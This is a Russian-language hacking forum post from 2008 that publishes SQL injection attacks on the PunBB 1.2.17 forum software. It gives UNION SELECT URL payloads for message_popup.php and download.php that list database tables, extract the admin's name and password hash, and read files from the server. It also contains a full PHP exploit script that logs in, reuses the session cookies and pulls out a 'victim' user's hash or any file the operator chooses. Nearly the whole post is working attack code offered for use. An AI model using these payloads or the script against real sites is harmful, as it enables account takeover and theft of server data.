Показать сообщение отдельно

PunBB 1.2.17 Sql injection & File reader
  #6  
Старый 23.07.2008, 19:42
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию PunBB 1.2.17 Sql injection & File reader

Код:
v1.2.17 punbb.ru rev87 
/message_popup.php
message_popup.php?id=0+UNION+SELECT+user_id,concat_ws(0x3a,table_name),2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+номер таблицы,1
узнаем префикс по таблицам.
-----------------------------------SQL<
/message_popup.php?id=0+union+select+user_id,username,3,password+from+[PREFIX]users+where+id=2
Узнаем имя и хеш админа.
-----------------------------------SQL<
download.php
/download.php?aid=9+union+select+1,file,3,user_id,null,1
просматриваем файлы на хосте
-----------------------------------SQL<
user_id - Ваш id на форуме через который вы зашли

By @Fatal@ aka Doom123

PHP код:
<?php

/**
 * @author @Fatal@
 * @copyright HWT©2008
 * 
 *   PunBB expl0it
 * 
 * Уязвимость существует по причине недостатачной обработки
 * входящх данных в файле download.php!
 * 
 * Овтор не несёт ответствености за использоваение данного скрипта!
 * Используйте его на свой страх и риск!  
 * 
 *  Уязвимость нашёл @Fatal@.
 */
 
if (isset($_POST['start']))
{
  if (!empty(
$_POST['login']) && !empty($_POST['pass']) && !empty($_POST['host']) && !empty($_POST['id']) && !empty($_POST['path']))
    {
      
define("_HOST"$_POST['host']);
        
define("_PORT"80);

        function 
cookie($ans)
        {
            
$head 'Cookie:';
            foreach (
$ans as $val)
            {

                if (
preg_match('#Set-Cookie:(.+)#is'$val$pock))
                {
                    
$co explode(';'$pock['1']);
                    
$head .= ' ' trim($co[0]) . ';';
                }
            }
            return 
$head " \r\n";
        }

        function 
Prepare_POST_array($arr)
        {
            
$out '';
            foreach (
$arr as $key => $line)
            {
                if (
$out == '')
                    
$out .= $key '=' urlencode($line);
                else
                    
$out .= '&' $key '=' urlencode($line);
            }

            return 
$out "\r\n\r\n";
        }

        function 
post_query($path$param$cook ''$AnswerFlag true)
        {
            
$out "POST " $path " HTTP/1.1\r\n";
            
            if (
$param == array())
            {
                
$out "GET " $path " HTTP/1.1\r\n";
                
$data "";
            } else
                
$data Prepare_POST_array($param);
                
            
$fp fsockopen(_HOST_PORT$errno$errstr30);
            if (!
$fp) return false;
            
            
            
$out .= "Host: " _HOST "\r\n";
            
$out .= "Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
            
$out .= "Content-Length: " strlen($data) . "\r\n";
            
$out .= "User-Agent: Opera/9.27 (Windows NT 5.1; U; ru)\r\n";
            
$out .= $cook;
            
$out .= "Connection: Close\r\n\r\n";
            
$out .= $data;

            
fwrite($fp$out);
            if (
$AnswerFlag)
            {
                while (!
feof($fp))
                {
                    
$answer[] = fgets($fp1024);
                }
            } else
                
$answer true;
                
                
            
fclose($fp);
            return 
$answer;
        }
            
$array = array(
      
'form_sent' => '1'
      
'redirect_url' => 'index.php'
      
'req_username' => $_POST['login'], 
      
'req_password' => $_POST['pass'], 
      );
      
        
$ans post_query($_POST['path'].'login.php?action=in'$array);
        
$a cookie($ans);

  if(
$_POST['method'] != 2)
  {
      if (!empty(
$_POST['nid']))
      {
        if(empty(
$a))
          
$error 'Не верно введены логин или пароль';
        
        else {
        
$page $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+users+WHERE+id+like+'.$_POST['nid'];
        
        
$ans2 post_query($page, array(), $a);
        
$str implode('',$ans2);
        
        if(
strrpos($str"doesn't exist (Errno: 1146)") !== false)
        {
      
preg_match("# Table '(.+?)\.users' doesn't exist \(Errno: 1146\)#is",$str,$pock);
      
$hex '0x'.bin2hex($pock[1]);
      
$page $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,table_name,3,'.$_POST['id'].',null,6+FROM+information_schema.columns+WHERE+table_schema+like+'.$hex;
          
$ans3 post_query($page, array(), $a);
          
$str implode('',$ans3);
          
preg_match('#PunBB reported</strong>: (.+?)attachments - this file does not exist#is',$str,$pock);
          
$pref = isset($pock[1]) ? $pock[1] : $_POST['prefix'];
      
$page $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+'.$pref.'users+WHERE+id+like+'.$_POST['nid'];  
      
$ans2 post_query($page, array(), $a);
      
$str implode('',$ans2);
    }
    
preg_match('#PunBB reported</strong>: (.{0,40}) - this file does not exist#is',$str,$pock);
        echo 
"<center><b><h1>Хеш пользователя:".$pock[1]."</h1></b></center>";
        }
      } else
          
$error "Введите все данные";
    } else {
      if (!empty(
$_POST['file']))
      {
        if(empty(
$a))
          
$error 'Не верно введены логин или пароль';
        
        else {
        
$page $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,"'.$_POST['file'].'",3,'.$_POST['id'].',null,6';
        
$ans2 post_query($page, array(), $a);
    
$i 11;
    while(
array_key_exists($i,$ans2))
    {
      echo 
htmlspecialchars($ans2[$i]).'<br>';
      
$i++;
    }
        }
    } else
      
$error "ВВедите все данные";
    
  }
    } else
    
$error "ВВедите все данные";
}

if(isset(
$error) || !isset($_POST['start']))
{
  echo 
'<center>'.$error."<BR><BR><b>PunBB Expl0it</b><br><br>";
  echo 
'<form method="post">';
  echo 
'Хост: <input type="text" name="host"><br>';
  echo 
'Путь: <input type="text" name="path"><br>';
  echo 
'Префикс: <input type="text" name="prefix"><br>';
  echo 
'Логин: <input type="text" name="login"><br>';
  echo 
'Пароль: <input type="text" name="pass"><br>';
  echo 
'В.id: <input type="text" name="id"><br>';
  echo 
'Н.id: <input type="text" name="nid"><br>';
  echo 
'Файл: <input type="text" name="file"><br>';
  echo 
'Метод: <select name=method><option value=1>Извлечь хэш</option>';
  echo 
'<option value=2>Просмотреть файл</option></select><br>';
  echo 
'<input type="submit" name="start"></form>';
  echo 
'<br><br>В.id - id вашего пользоваетля';
  echo 
'<br>Н.id - id жертвы(Нжно заполнять при первом методе)';
  echo 
'<br>Файл - Путь до файла (При втором методе)';
  echo 
'<br>Путь - Папка форума например /path/  (Если форум не находатся в папке вводим /)';
  echo 
'<br>Префикс - Обычно определяется сам но если не хватает доступа подставляется ваш';
  echo 
'<br><BR><BR>C0ded by @Fatal@ For HW Team</center>';
}
?>

Последний раз редактировалось Doom123; 30.07.2008 в 12:36..